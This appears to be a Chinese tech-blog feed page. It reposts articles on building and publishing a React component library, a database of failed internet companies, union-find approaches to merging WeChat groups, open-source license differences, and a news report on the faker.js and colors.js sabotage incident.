  • 体积大,用户访问时间过长,对于C端产品,时间就是金钱,除非部署在高性能服务器或者使用cdn弥补,需要更轻量级组件

  • 永恒不变的风格,产品没有差异性

自己搭建组件库相比第三方的优点

  • 打包体积小,更轻量,更贴近业务使用场景

  • 采用内部组件库安全性更高,防止嵌入攻击还有防止类似antDesign圣诞节彩蛋的suprise

  • 构建和开发更灵活,且组合性更高

搭建流程

  • 搭建打包组件库脚手架

  • 组件系统设计思路和模式

  • 组件库的划分

  • 组件库文档生成

  • 将组件库部署到github并发布到npm

搭建打包组件库脚手架

打包组件库工具有很多

  • rollup,打包js利器,非常轻量,集成tree-shaking

  • create-react-app/vue-cli3,可快速改造一个组件库的脚手架

  • webpack自行封装

  • umi/father,基于rollup和babel组件打包功能,集成docz的文档,支持TypeScript等

组件系统设计思路和模式

可以看到基础UI组件是原子组件,作为各种复杂组件的重要组成部分,只有组件的颗粒度足够细,才能满足业务组件使用,区块组件是我们把相同的业务结合基础UI组件进行封装。

这样一套完整的组件化系统就完成了,其中各个组件之间关系是单向的,业务组件只能包含基础UI组件,不能包含区块组件,区块组件里由基础UI组件和业务组件组成。

组件库的划分

我们的基础UI组件库可以参考目前非常流行的UI组件库antd,划分为:通用、布局、导航、数据录入、数据展示、反馈、其他

具体如下:

组件库文档生成

StoryBook

StoryBookReactVueAngular最受欢迎的UI组件开发工具。它可以在隔离的环境中开发和设计应用程序;也可以那个使用它来快速构建UI组件的文档

安装

yarn add @storybook/react

// package.json设置scripts
"scripts": {  
   "storybook": "start-storybook -p 8000"
}

创建文件例如:Button.stories.js

import React from 'react'
import { storiesOf } from '@storybook/react'
import { action } from '@storybook/addon-actions'

import Button from './button'
import '../../styles/index.scss'

const defaultButton = () => (
 <Button onClick={action('clicked')}> default button </Button>
)

const buttonWithSize = () => (
 <>
   <Button size="lg"> large button </Button>
   <Button size="sm"> small button </Button>
 </>
)

const buttonWithType = () => (
 <>
   <Button btnType="primary"> primary button </Button>
   <Button btnType="danger"> danger button </Button>
   <Button btnType="link" href="https://www.baidu.com"> link button </Button>
 </>
)
storiesOf('Button Component', module)
.add('Button', defaultButton)
.add('不同尺寸的 Button', buttonWithSize)
.add('不同类型的 Button', buttonWithType)

基于umi/father脚手架

集成了docz文档功能,一个开箱即用的组件库打包工具,省去了很多配置工作。docz文档

将组件库部署到github并发布到npm上

package.json配置github地址

"repository": { 
   "type": "git",
   "url": "https://github.com:riyue/zhixing.git"
}

首先在npm官网注册账号,然后执行如下命令,也可发布到自己团队私服上

// 输入用户名和密码
npm adduser

// 发布
npm publish

结束

至此整个组件系统设计思路介绍完毕,在开发中一些细节没有展开叙述,例如:整个组件系统全局主题色配置、单元测试、代码规范检查等,需要大家在实践中去发现问题并解决问题。

希望本文能帮助到你或者给正在搭建组件系统的你有所启发。

作者:日月之行_
来源:https://juejin.cn/post/6999987294534893599

收起阅读 »

2021年互联网公司“死亡”名单,看看有没有你的老东家

几年前我就知道IT桔子一直在统计互联网公司的死亡清单,没想到他们一直坚持在做,目前统计了2014年至2022年,随时更新,上榜公司表示:简直是社死现场!找ofo小黄车 、学霸君、环球易购、叮咚快买、菜鸟团、巨人教育、买卖宝、DaDa英语等因为是公墓嘛,所有还有...
继续阅读 »

几年前我就知道IT桔子一直在统计互联网公司的死亡清单,没想到他们一直坚持在做,目前统计了2014年至2022年,随时更新,上榜公司表示:简直是社死现场!

这里面包括也很多的知名公司,如:

找ofo小黄车 、学霸君、环球易购、叮咚快买、菜鸟团、巨人教育、买卖宝、DaDa英语等

因为是公墓嘛,所有还有一个让人哭笑不得的功能,就是“上香“,你要不要为你已经倒闭的前公司上个香呢?

在这份名单中,清晰的记录了公司名称,存活时长、倒闭时长、所属行业、公司地点、成立时间、获投状态,我们根据行业来看看,2021年总计倒闭公司821家,都是什么情况。

2021年《教育类》公司死亡清单

2021年《金融类》公司死亡清单

2021年《游戏类》公司死亡清单

2021年《区块链类》公司死亡清单

总计分为23个大类,详细的可以去IT桔子的网站查看。

针对这些行业公司的死亡原因,该网站也进行了统计。

如:手机游戏类公司 公司死亡795家,死亡原因70%都是因为资金问题。

如:交友社区类公司 公司死亡464家,死亡原因40%都是市场定位有问题,30%的原因是产品问题,也有10%的原因是资金问题。

针对除了行业的大类分析,每个公司的死亡原因也进行了详细说明。

如买卖宝,存活时间有14年2个月,曾经获得过红杉资本、腾讯、京东等的融资。估值97.5亿元。

死亡原因:竞争不足。

如杰睿教育,存活时间有10年9个月,曾经获得过赛领资本、千帆资本、真格基金等的融资。估值26.6亿元。

死亡原因:政策监管。

数据说明

死亡公司数据库网页声明:

一、本网页基于IT桔子投资数据库而打造的“死亡公司数据库”,致力于展现中国新经济领域近些年倒闭的创新创业公司;
二、“死亡公司数据库”的公司关闭时间是依据公开媒体报道及部分估算,可能会存在些许误差,但我们着力确保更高的可靠性;
三、IT桔子对所收录公司运营状况的判定来源如下:
1、公开媒体报道公司关闭、破产清算的;
2、公司自身在微信、微博等渠道宣布关闭、破产清算的;
3、公司明显经营异常:公司被注销;公司产品比如APP或微信持续6个月及以上没更新;公司因为监管被抓、无法经营……交叉比对后确认没有持续经营。

这几天也看了不少博主对2022年的进行了预测,但是,我们始终要相信:世界上唯一不变的是一直在变。特别是作为一名在互联网觅食的程序员,一定要提升自己的技术和管理能力,投资自己是最正确的选择。

对于那些想创业的朋友,一定要三思而后行,别一时想不开就出来创业!

守住自己的钱袋子,别乱投资!猥琐发育,只要还有本金,没下赌桌,就还有翻身的机会,不要梭哈!

2022年,我们一起加油!

作者:机器人的秘密探索
来源:https://www.sohu.com/a/515405099_121124372

收起阅读 »

求解“微信群覆盖”的三种方法:暴力,染色,链表,并查集

(1) 题目简介;(3) 思路二:染色法;(5) 思路四:并查集法;(1) 每个微信群由一个唯一的gid标识;(3) 一个用户可以加入多个群;g1{u1, u2, u3}可以看到,用户u1加入了g1与g2两个群。gid和uid都是uint64;(1) ...
继续阅读 »



这是一篇聊算法的文章,从一个小面试题开始,扩展到一系列基础算法,包含几个部分:

(1) 题目简介;

(2) 思路一:暴力法;

(3) 思路二:染色法;

(4) 思路三:链表法;

(5) 思路四:并查集法;

除了聊方案,重点分享思考过程。文章较长,可提前收藏。


第一部分:题目简介


问题提出:求微信群覆盖


微信有很多群,现进行如下抽象:

(1) 每个微信群由一个唯一的gid标识;

(2) 微信群内每个用户由一个唯一的uid标识;

(3) 一个用户可以加入多个群;

(4) 群可以抽象成一个由不重复uid组成的集合,例如:

g1{u1, u2, u3}

g2{u1, u4, u5}

可以看到,用户u1加入了g1与g2两个群。

画外音:

gid和uid都是uint64;

集合内没有重复元素;


假设微信有M个群(M为亿级别),每个群内平均有N个用户(N为十级别).


现在要进行如下操作:

(1) 如果两个微信群中有相同的用户则将两个微信群合并,并生成一个新微信群;

例如,上面的g1和g2就会合并成新的群:

g3{u1, u2, u3, u4, u5};

画外音:集合g1中包含u1,集合g2中包含u1,合并后的微信群g3也只包含一个u1。

(2) 不断的进行上述操作,直到剩下所有的微信群都不含相同的用户为止

将上述操作称:求群的覆盖。


设计算法,求群的覆盖,并说明算法时间与空间复杂度。

画外音:你遇到过类似的面试题吗?


对于一个复杂的问题,思路肯定是“先解决,再优化”,大部分人不是神,很难一步到位。先用一种比较“笨”的方法解决,再看“笨方法”有什么痛点,优化各个痛点,不断升级方案。


第二部分:暴力法


拿到这个问题,很容易想到的思路是:

(1) 先初始化M个集合,用集合来表示微信群gid与用户uid的关系;

(2) 找到哪两个(哪些)集合需要合并;

(3) 接着,进行集合的合并;

(4) 迭代步骤二和步骤三,直至所有集合都没有相同元素,算法结束;


第一步,如何初始化集合?

set这种数据结构,大家用得很多,来表示集合:

(1) 新建M个set来表示M个微信群gid;

(2) 每个set插入N个元素来表示微信群中的用户uid;


set有两种最常见的实现方式,一种是树型set,一种是哈希型set


假设有集合:

s={7, 2, 0, 14, 4, 12}


树型set的实现如下:

其特点是:

(1) 插入和查找的平均时间复杂度是O(lg(n));

(2) 能实现有序查找;

(3) 省空间;


哈希型set实现如下:

其特点是:

(1) 插入和查找的平均时间复杂度是O(1);

(2) 不能实现有序查找;

画外音:求群覆盖,哈希型实现的初始化更快,复杂度是O(M*N)。


第二步,如何判断两个(多个)集合要不要合并?

集合对set(i)和set(j),判断里面有没有重复元素,如果有,就需要合并,判重的伪代码是:

// 对set(i)和set(j)进行元素判断并合并

(1)    foreach (element in set(i))

(2)    if (element in set(j))

         merge(set(i), set(j));


第一行(1)遍历第一个集合set(i)中的所有元素element;

画外音:这一步的时间复杂度是O(N)。

第二行(2)判断element是否在第二个集合set(j)中;

画外音:如果使用哈希型set,第二行(2)的平均时间复杂度是O(1)。


这一步的时间复杂度至少是O(N)*O(1)=O(N)。


第三步,如何合并集合?

集合对set(i)和set(j)如果需要合并,只要把一个集合中的元素插入到另一个集合中即可:

// 对set(i)和set(j)进行集合合并

merge(set(i), set(j)){

(1)    foreach (element in set(i))

(2)    set(j).insert(element);

}


第一行(1)遍历第一个集合set(i)中的所有元素element;

画外音:这一步的时间复杂度是O(N)。

第二行(2)把element插入到集合set(j)中;

画外音:如果使用哈希型set,第二行(2)的平均时间复杂度是O(1)。


这一步的时间复杂度至少是O(N)*O(1)=O(N)。


第四步:迭代第二步与第三步,直至结束

对于M个集合,暴力针对所有集合对,进行重复元素判断并合并,用两个for循环可以暴力解决:

(1)for(i = 1 to M)

(2)    for(j= i+1 to M)

         //对set(i)和set(j)进行元素判断并合并

         foreach (element in set(i))

         if (element in set(j))

         merge(set(i), set(j));


递归调用,两个for循环,复杂度是O(M*M)。


综上,如果这么解决群覆盖的问题,时间复杂度至少是:

O(M*N) // 集合初始化的过程

+

O(M*M) // 两重for循环递归

*

O(N) // 判重

*

O(N) // 合并

画外音:实际复杂度要高于这个,随着集合的合并,集合元素会越来越多,判重和合并的成本会越来越高。


第三部分:染色法


总的来说,暴力法效率非常低,集合都是一个一个合并的,同一个元素在合并的过程中要遍历很多次。很容易想到一个优化点,能不能一次合并多个集合?


暴力法中,判断两个集合set和set是否需要合并,思路是:遍历set中的所有element,看在set中是否存在,如果存在,说明存在交集,则需要合并。


哪些集合能够一次性合并?

当某些集合中包含同一个元素时,可以一次性合并。


怎么一次性发现,哪些集合包含同一个元素,并合并去重呢?


回顾一下工作中的类似需求:

M个文件,每个文件包含N个用户名,或者N个手机号,如何合并去重?

最常见的玩法是:

cat file_1 file_2 … file_M | sort | uniq > result


这里的思路是什么?

(1) 把M*N个用户名/手机号输出;

(2) sort排序,排序之后相同的元素会相邻

(3) uniq去重,相邻元素如果相同只保留一个;


排序之后相同的元素会相邻”,就是一次性找出所有可合并集合的关键,这是染色法的核心。


举一个栗子

假设有6个微信群,每个微信群有若干个用户:

s1={1,0,5} s2={3,1} s3={2,9}

s4={4,6} s5={4,7} s6={1,8}

假设使用树形set来表示集合。

首先,给同一个集合中的所有元素染上相同的颜色,表示来自同一个集合。

然后,对所有的元素进行排序,会发现:

(1) 相同的元素一定相邻,并且一定来自不同的集合;

(2) 同一个颜色的元素被打散了;

这些相邻且相同的元素,来自哪一个集合,这些集合就是需要合并的,如上图:

(1) 粉色的1来自集合s1,紫色的1来自集合s2,黄色的1来自集合s6,所以s1s2s6需要合并;

(2) 蓝色的4来自集合s4,青色的4来自集合s5,所以s4s5需要合并;


不用像暴力法遍历所有的集合对,而是一个排序动作,就能找到所有需要合并的集合。

画外音:暴力法一次处理2个集合,染色法一次可以合并N个集合。

集合合并的过程,可以想象为,相同相邻元素所在集合,染成第一个元素的颜色

(1) 紫色和黄色,染成粉色;

(2) 青色,染成蓝色;


最终,剩余三种颜色,也就是三个集合:

s1={0,1,3,5,8}

s3={2,9}

s4={4,6,7}


神奇不神奇!!!


染色法有意思么?但仍有两个遗留问题

(1) 粉色1,紫色1,黄色1,三个元素如何找到这三个元素所在的集合s1s2s6呢?

(2) s1s2s6三个集合如何快速合并

画外音:假设总元素个数n=M*N,如果使用树形set,合并的复杂度为O(n*lg(n)),即O(M*N*lg(M*N))。


我们继续往下看。


第四部分:链表法


染色法遗留了两个问题:

步骤(2)中,如何通过元素快速定位集合

步骤(3)中,如何快速合并集合

我们继续聊聊这两个问题的优化思路。


问题一:如何由元素快速定位集合?

普通的集合,只能由集合根(root)定位元素,不能由元素逆向定位root,如何支持元素逆向定位root呢?

很容易想到,每个节点增加一个父指针即可。


更具体的:

element{

         int data;

         element* left;

         element* right;

}


升级为:

element{

         element* parent;    // 指向父节点

         int data;

         element* left;

         element* right;

}

如上图:所有节点的parent都指向它的上级,而只有root->parent=NULL。


对于任意一个元素,找root的过程为:

element* X_find_set_root(element* x){

         element* temp=x;

         while(temp->parent != NULL){

                   temp= temp->parent;

         }

         return temp;

}


很容易发现,由元素找集合根的时间复杂度是树的高度,即O(lg(n))


有没有更快的方法呢?

进一步思考,为什么每个节点要指向父节点,直接指向根节点是不是也可以。


更具体的:

element{

         int data;

         element* left;

         element* right;

}


升级为:

element{

         element* root;         // 指向集合根

         int data;

         element* left;

         element* right;

}

如上图:所有节点的parent都指向集合的根。


对于任意一个元素,找root的过程为:

element* X_find_set_root(element* x){

         return x->root;

}


很容易发现,升级后,由元素找集合根的时间复杂度是O(1)

画外音:不能更快了吧。


另外,这种方式,能在O(1)的时间内,判断两个元素是否在同一个集合内

bool in_the_same_set(element* a, element* b){

         return (a->root == b->root);

}

甚为方便。

画外音:两个元素的根相同,就在同一个集合内。


问题二:如何快速进行集合合并? 

暴力法中提到过,集合合并的伪代码为:

merge(set(i), set(j)){

         foreach(element in set(i))

                   set(j).insert(element);

}

把一个集合中的元素插入到另一个集合中即可。


假设set(i)的元素个数为n1,set(j)的元素个数为n2,其时间复杂度为O(n1*lg(n2))。


在“微信群覆盖”这个业务场景下,随着集合的不断合并,集合高度越来越高,合并会越来越慢,有没有更快的集合合并方式呢?


仔细回顾一下:

(1) 树形set的优点是,支持有序查找,省空间;

(2) 哈希型set的优点是,快速插入与查找;


而“微信群覆盖”场景对集合的频繁操作是:

(1) 由元素找集合根;

(2) 集合合并;


那么,为什么要用树形结构或者哈希型结构来表示集合呢?

画外音:优点完全没有利用上嘛。


让我们来看看,这个场景中,如果用链表来表示集合会怎么样,合并会不会更快?

s1={7,3,1,4}

s2={1,6}

如上图,分别用链表来表示这两个集合。可以看到,为了满足“快速由元素定位集合根”的需求,每个元素仍然会指向根。


s1和s2如果要合并,需要做两件事:

(1) 集合1的尾巴,链向集合2的头(蓝线1);

(2) 集合2的所有元素,指向集合1的根(蓝线2,3);


合并完的效果是:

变成了一个更大的集合。


假设set(1)的元素个数为n1,set(2)的元素个数为n2,整个合并的过程的时间复杂度是O(n2)。

画外音:时间耗在set(2)中的元素变化。


咦,我们发现:

(1) 将短的链表,接到长的链表上;

(2) 将长的链表,接到短的链表上;

所使用的时间是不一样的。


为了让时间更快,一律使用更快的方式:“元素少的链表”主动接入到“元素多的链表”的尾巴后面。这样,改变的元素个数能更少一些,这个优化被称作“加权合并”。


对于M个微信群,平均每个微信群N个用户的场景,用链表的方式表示集合,按照“加权合并”的方式合并集合,最坏的情况下,时间复杂度是O(M*N)。

画外音:假设所有的集合都要合并,共M次,每次都要改变N个元素的根指向,故为O(M*N)。


于是,对于“M个群,每个群N个用户,微信群求覆盖”问题,使用“染色法”加上“链表法”,核心思路三步骤:

(1) 全部元素全局排序

(2) 全局排序后,不同集合中的相同元素,一定是相邻的,通过相同相邻的元素,一次性找到所有需要合并的集合

(3) 合并这些集合,算法完成;


其中:

步骤(1),全局排序,时间复杂度O(M*N);

步骤(2),染色思路,能够迅猛定位哪些集合需要合并,每个元素增加一个属性指向集合根,实现O(1)级别的元素定位集合;

步骤(3),使用链表表示集合,使用加权合并的方式来合并集合,合并的时间复杂度也是O(M*N);


总时间复杂度是:

O(M*N)    //排序

+

O(1)        //由元素找到需要合并的集合

*

O(M*N)    //集合合并


神奇不神奇!


神奇不止一种,还有其他方法吗?我们接着往下看。


第五部分:并查集法


分离集合(disjoint set)是一种经典的数据结构,它有三类操作:

Make-set(a):生成一个只有一个元素a的集合;

Union(X, Y):合并两个集合X和Y;

Find-set(a):查找元素a所在集合,即通过元素找集合;


这种数据结构特别适合用来解决这类集合合并与查找的问题,又称为并查集


能不能利用并查集来解决求“微信群覆盖”问题呢?


一、并查集的链表实现


链表法里基本聊过,为了保证知识的系统性,这里再稍微回顾一下。

如上图,并查集可以用链表来实现。


链表实现的并查集,Find-set(a)的时间复杂度是多少?

集合里的每个元素,都指向“集合的句柄”,这样可以使得“查找元素a所在集合S”,即Find-set(a)操作在O(1)的时间内完成


链表实现的并查集,Union(X, Y)的时间复杂度是多少?

假设有集合:

S1={7,3,1,4}

S2={1,6}


合并S1和S2两个集合,需要做两件事情:

(1) 第一个集合的尾元素,链向第二个集合的头元素(蓝线1);

(2) 第二个集合的所有元素,指向第一个集合的句柄(蓝线2,3);


合并完的效果是:

变成了一个更大的集合S1。


集合合并时,将短的链表,往长的链表上接,这样变动的元素更少,这个优化叫做“加权合并”。

画外音:实现的过程中,集合句柄要存储元素个数,头元素,尾元素等属性,以方便上述操作进行。


假设每个集合的平均元素个数是nUnion(X, Y)操作的时间复杂度是O(n)


能不能Find-set(a)与Union(X, Y)都在O(1)的时间内完成呢?

可以,这就引发了并查集的第二种实现方法。


二、并查集的有根树实现


什么是有根树,和普通的树有什么不同?

常用的set,就是用普通的二叉树实现的,其元素的数据结构是:

element{

         int data;

         element* left;

         element* right;

}

通过左指针与右指针,父亲节点指向儿子节点。


而有根树,其元素的数据结构是:

element{

         int data;

         element* parent;

}

通过儿子节点,指向父亲节点。


假设有集合:

S1={7,3,1,4}

S2={1,6}


通过如果通过有根树表示,可能是这样的:

所有的元素,都通过parent指针指向集合句柄,所有元素的Find-set(a)的时间复杂度也是O(1)。

画外音:假设集合的首个元素,代表集合句柄。


有根树实现的并查集,Union(X, Y)的过程如何?时间复杂度是多少?

通过有根树实现并查集,集合合并时,直接将一个集合句柄,指向另一个集合即可。

如上图所示,S2的句柄,指向S1的句柄,集合合并完成:S2消亡,S1变为了更大的集合。


容易知道,集合合并的时间复杂度为O(1)


会发现,集合合并之后,有根树的高度变高了,与“加权合并”的优化思路类似,总是把节点数少的有根树,指向节点数多的有根树(更确切的说,是高度矮的树,指向高度高的树),这个优化叫做“按秩合并”。


新的问题来了,集合合并之后,不是所有元素的Find-set(a)操作都是O(1)了,怎么办?

如图S1与S2合并后的新S1,首次“通过元素6来找新S1的句柄”,不能在O(1)的时间内完成了,需要两次操作。


但为了让未来“通过元素6来找新S1的句柄”的操作能够在O(1)的时间内完成,在首次进行Find-set(“6”)时,就要将元素6“寻根”路径上的所有元素,都指向集合句柄,如下图。

某个元素如果不直接指向集合句柄,首次Find-set(a)操作的过程中,会将该路径上的所有元素都直接指向句柄,这个优化叫做“路径压缩”。

画外音:路径上的元素第二次执行Find-set(a)时,时间复杂度就是O(1)了。


实施“路径压缩”优化之后,Find-set的平均时间复杂度仍是O(1)


稍微总结一下。


通过链表实现并查集:

(1) Find-set的时间复杂度,是O(1)常数时间;

(2) Union的时间复杂度,是集合平均元素个数,即线性时间;

画外音:别忘了“加权合并”优化。


通过有根树实现并查集:

(1) Union的时间复杂度,是O(1)常数时间;

(2) Find-set的时间复杂度,通过“按秩合并”与“路径压缩”优化后,平均时间复杂度也是O(1);


即,使用并查集,非常适合解决“微信群覆盖”问题。


知其然,知其所以然,思路往往比结果更重要

算法,其实还是挺有意思的。

作者:58沈剑
来源:https://mp.weixin.qq.com/s/2MNL4vDpXQR94KGts4JUhA

收起阅读 »

一张图看懂开源许可协议,开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别

首先借用有心人士的一张相当直观清晰的图来划分各种协议:开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别 以下是上述协议的简单介绍:BSD开源协议BSD开源协议是一个给于使用者很大自由的协议。基本上使用者可以”为所欲为”,可以自由...
继续阅读 »

首先借用有心人士的一张相当直观清晰的图来划分各种协议:开源许可证GPL、BSD、MIT、Mozilla、Apache和LGPL的区别



以下是上述协议的简单介绍:
BSD开源协议
BSD开源协议是一个给于使用者很大自由的协议。基本上使用者可以”为所欲为”,可以自由的使用,修改源代码,也可以将修改后的代码作为开源或者专有软件再发布。

但”为所欲为”的前提当你发布使用了BSD协议的代码,或则以BSD协议代码为基础做二次开发自己的产品时,需要满足三个条件:

    如果再发布的产品中包含源代码,则在源代码中必须带有原来代码中的BSD协议。
    如果再发布的只是二进制类库/软件,则需要在类库/软件的文档和版权声明中包含原来代码中的BSD协议。
    不可以用开源代码的作者/机构名字和原来产品的名字做市场推广。

BSD 代码鼓励代码共享,但需要尊重代码作者的著作权。BSD由于允许使用者修改和重新发布代码,也允许使用或在BSD代码上开发商业软件发布和销售,因此是对商业集成很友好的协议。而很多的公司企业在选用开源产品的时候都首选BSD协议,因为可以完全控制这些第三方的代码,在必要的时候可以修改或者二次开发。

Apache Licence 2.0
Apache Licence是著名的非盈利开源组织Apache采用的协议。该协议和BSD类似,同样鼓励代码共享和尊重原作者的著作权,同样允许代码修改,再发布(作为开源或商业软件)。需要满足的条件也和BSD类似:

    需要给代码的用户一份Apache Licence
    如果你修改了代码,需要再被修改的文件中说明。
    在延伸的代码中(修改和有源代码衍生的代码中)需要带有原来代码中的协议,商标,专利声明和其他原来作者规定需要包含的说明。
    如果再发布的产品中包含一个Notice文件,则在Notice文件中需要带有Apache Licence。你可以在Notice中增加自己的许可,但不可以表现为对Apache Licence构成更改。

Apache Licence也是对商业应用友好的许可。使用者也可以在需要的时候修改代码来满足需要并作为开源或商业产品发布/销售。
GPL

我们很熟悉的Linux就是采用了GPL。GPL协议和BSD, Apache Licence等鼓励代码重用的许可很不一样。GPL的出发点是代码的开源/免费使用和引用/修改/衍生代码的开源/免费使用,但不允许修改后和衍生的代码做为闭源的商业软件发布和销售。这也就是为什么我们能用免费的各种linux,包括商业公司的linux和linux上各种各样的由个人,组织,以及商业软件公司开发的免费软件了。

GPL协议的主要内容是只要在一个软件中使用(”使用”指类库引用,修改后的代码或者衍生代码)GPL 协议的产品,则该软件产品必须也采用GPL协议,既必须也是开源和免费。这就是所谓的”传染性”。GPL协议的产品作为一个单独的产品使用没有任何问题,还可以享受免费的优势。

由于GPL严格要求使用了GPL类库的软件产品必须使用GPL协议,对于使用GPL协议的开源代码,商业软件或者对代码有保密要求的部门就不适合集成/采用作为类库和二次开发的基础。

其它细节如再发布的时候需要伴随GPL协议等和BSD/Apache等类似。

LGPL
LGPL是GPL的一个为主要为类库使用设计的开源协议。和GPL要求任何使用/修改/衍生之GPL类库的的软件必须采用GPL协议不同。LGPL 允许商业软件通过类库引用(link)方式使用LGPL类库而不需要开源商业软件的代码。这使得采用LGPL协议的开源代码可以被商业软件作为类库引用并发布和销售。

但是如果修改LGPL协议的代码或者衍生,则所有修改的代码,涉及修改部分的额外代码和衍生的代码都必须采用LGPL协议。因此LGPL协议的开源代码很适合作为第三方类库被商业软件引用,但不适合希望以LGPL协议代码为基础,通过修改和衍生的方式做二次开发的商业软件采用。

GPL/LGPL都保障原作者的知识产权,避免有人利用开源代码复制并开发类似的产品

MIT
MIT是和BSD一样宽范的许可协议,作者只想保留版权,而无任何其他了限制.也就是说,你必须在你的发行版里包含原许可协议的声明,无论你是以二进制发布的还是以源代码发布的.

MPL
MPL是The Mozilla Public License的简写,是1998年初Netscape的 Mozilla小组为其开源软件项目设计的软件许可证。MPL许可证出现的最重要原因就是,Netscape公司认为GPL许可证没有很好地平衡开发者对源代码的需求和他们利用源代码获得的利益。同著名的GPL许可证和BSD许可证相比,MPL在许多权利与义务的约定方面与它们相同(因为都是符合OSIA 认定的开源软件许可证)。但是,相比而言MPL还有以下几个显著的不同之处:

◆ MPL虽然要求对于经MPL许可证发布的源代码的修改也要以MPL许可证的方式再许可出来,以保证其他人可以在MPL的条款下共享源代码。但是,在MPL 许可证中对“发布”的定义是“以源代码方式发布的文件”,这就意味着MPL允许一个企业在自己已有的源代码库上加一个接口,除了接口程序的源代码以MPL 许可证的形式对外许可外,源代码库中的源代码就可以不用MPL许可证的方式强制对外许可。这些,就为借鉴别人的源代码用做自己商业软件开发的行为留了一个豁口。
◆ MPL许可证第三条第7款中允许被许可人将经过MPL许可证获得的源代码同自己其他类型的代码混合得到自己的软件程序。
◆ 对软件专利的态度,MPL许可证不像GPL许可证那样明确表示反对软件专利,但是却明确要求源代码的提供者不能提供已经受专利保护的源代码(除非他本人是专利权人,并书面向公众免费许可这些源代码),也不能在将这些源代码以开放源代码许可证形式许可后再去申请与这些源代码有关的专利。
◆ 对源代码的定义
而在MPL(1.1版本)许可证中,对源代码的定义是:“源代码指的是对作品进行修改最优先择取的形式,它包括:所有模块的所有源程序,加上有关的接口的定义,加上控制可执行作品的安装和编译的‘原本’(原文为‘Script’),或者不是与初始源代码显著不同的源代码就是被源代码贡献者选择的从公共领域可以得到的程序代码。”
◆ MPL许可证第3条有专门的一款是关于对源代码修改进行描述的规定,就是要求所有再发布者都得有一个专门的文件就对源代码程序修改的时间和修改的方式有描述。

作者:微wx笑
翻译:https://blog.csdn.net/testcs_dn/article/details/38496107
原文:http://www.mozilla.org/MPL/MPL-1.1.html

收起阅读 »

拒绝白嫖,开源项目作者删库跑路,数千个应用程序无限输出乱码

「我删我自己的开源项目代码,需要经过别人允许吗?」几天前,开源库「faker.js」和「colors.js」的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。更令人震惊的是,开发者们发现,造成这一混乱局面的就是「faker.js」和「co...
继续阅读 »



「我删我自己的开源项目代码,需要经过别人允许吗?」

几天前,开源库「faker.js」和「colors.js」的用户打开电脑,发现自己的应用程序正在输出乱码数据,那一刻,他们惊呆了。

更令人震惊的是,开发者们发现,造成这一混乱局面的就是「faker.js」和「colors.js」的作者 Marak Squires 本人。

一夜之间,Marak Squires 主动删除了「faker.js」和「colors.js」项目仓库的所有代码,让正在使用这两个开源项目的数千位开发者直接崩溃。

「faker.js」和「colors.js」

faker.js 在 npm 上的每周下载量接近 250 万,color.js 每周的下载量约为 2240 万,本次删库的影响是极其严重的,使用这两个项目开发的工具包括 AWS CDK 等。

如果在构建和测试应用时,真实的数据量远远不够,那么 Faker 类工具将帮助开发者生成伪数据。faker.js 就是可为多个领域生成伪数据的 Node.js 库,包括地址、商业、公司、日期、财务、图像、随机数、名称等。

faker.js 支持生成英文、中文等多语种信息,包含丰富的 API,此前版本通常一个月迭代更新一次。faker.js 不仅可以使用在服务器端的 JavaScript,还可以应用在浏览器端的 JavaScript。

现在,faker.js 项目的所有 commit 信息都被改为「endgame」,在 README 中,作者写下这样一句话:「What really happened with Aaron Swartz?」

Swartz 是一位杰出的开发人员,帮助建立了 Creative Commons、RSS 和 Reddit。2011 年,Swartz 被指控从学术数据库 JSTOR 中窃取文件,目的是免费访问这些文件。Swartz 在 2013 年自杀,Squires 提到 Swartz 可能意指围绕这一死亡疑云。

Marak Squires 向 colors.js 提交了恶意代码,添加了一个「a new American flag module」,然后将其发布到了 GitHub 和 npm。

随后他在 GitHub 和 npm 发布了 faker.js 6.6.6,这两个动作引发了同样的破坏性事件。破坏后的版本导致应用程序无限输出奇怪的字母和符号,从三行写着「LIBERTY LIBERTY LIBERTY」的文本开始,后面跟着一系列非 ASCII 字符:

目前,color.js 已经更新了一个可以使用的版本。faker.js 项目尚未恢复,开发者只能通过降级到此前的 5.5.3 版本来解决问题。

为了解决问题,Squires 在 GitHub 上还发布了更新以解决「zalgo 问题」,该问题是指损坏文件产生的故障文本。

「我们注意到在 v1.4.44-liberty-2 版本的 colors 中有一个 zalgo 错误,」Squires 以一种讽刺的语气写道。「我们现在正在努力解决这个问题,很快就会有解决方案。」

在将更新推送到 faker.js 两天后,Squires 发了一条推文,表示自己存储了数百个项目的 GitHub 账户已经被封。Squires 在 1 月 4 日发布了 faker.js 的最新 commit,在 1 月 6 日被封,直到 1 月 7 日推送了 colors.js 的「liberty」版本。然而,从 faker.js 和 colors.js 的更新日志来看,他的账户似乎被解封过。目前尚不清楚 Squires 的帐户是否再次被封。

至此,故事并没有就此结束。Squires 2020 年 11 月发在 GitHub 上的一篇帖子被挖出来,在帖子中他写道自己不再想做免费的工作了。「恕我直言,我不想再用我的免费工作来支持财富 500 强(和其他小型公司),以此为契机,向我发送一份六位数的年度合同,或者 fork 项目并让其他人参与其中。」

Squires 的大胆举动引起了人们对开源开发者的道德和财务困境的关注,这可能是 Marak Squires 行动的目标。大量网站、软件和应用程序依赖开源开发人员来创建基本工具和组件,而所有这些都是免费的,无偿开发人员经常不知疲倦地工作,努力修复其开源软件中的安全问题。

开发者们怎么看

软件工程师 Sergio Gómez 表示:「从 GitHub 删除自己的代码违反了他们的服务条款?WTF?这是绑架。我们需要开始分散托管免费软件源代码。」

「不知道发生了什么,但我将我所有的项目都托管在 GitLab 私有 instance 上,永远不要相信任何互联网服务提供商。」

有网友认为 faker.js 团队的反应有些夸张了,并说道:「没有人会用一个只生成一些虚假数据的包赚大钱。faker.js 的确为开发者生成伪数据节省了一些时间,但我们也可以让实习生编写类似程序来生成数据。这对企业来说并没有那么重要。」

甚至有人认为 Marak 这么做是一种冲动行为,不够理性,并和他之前「卖掉房子购买 NFT」的传闻联系起来,认为 Marak 需要学会控制自己的情绪:

这种说法很快带偏部分网友的看法,有人原本同情开源项目被「白嫖」,但现在已转向认为 Marak 是恶意删库,并指出:「停止维护他的项目或完全删除都是他的权利,但故意提交有害代码是不对的。」

当然,也有人为开源软件(FOSS)开发者的待遇鸣不平:「希望有相关的基金会位 FOSS 开发人员提供资金支持」,而软件的可靠性和稳定性也是至关重要的

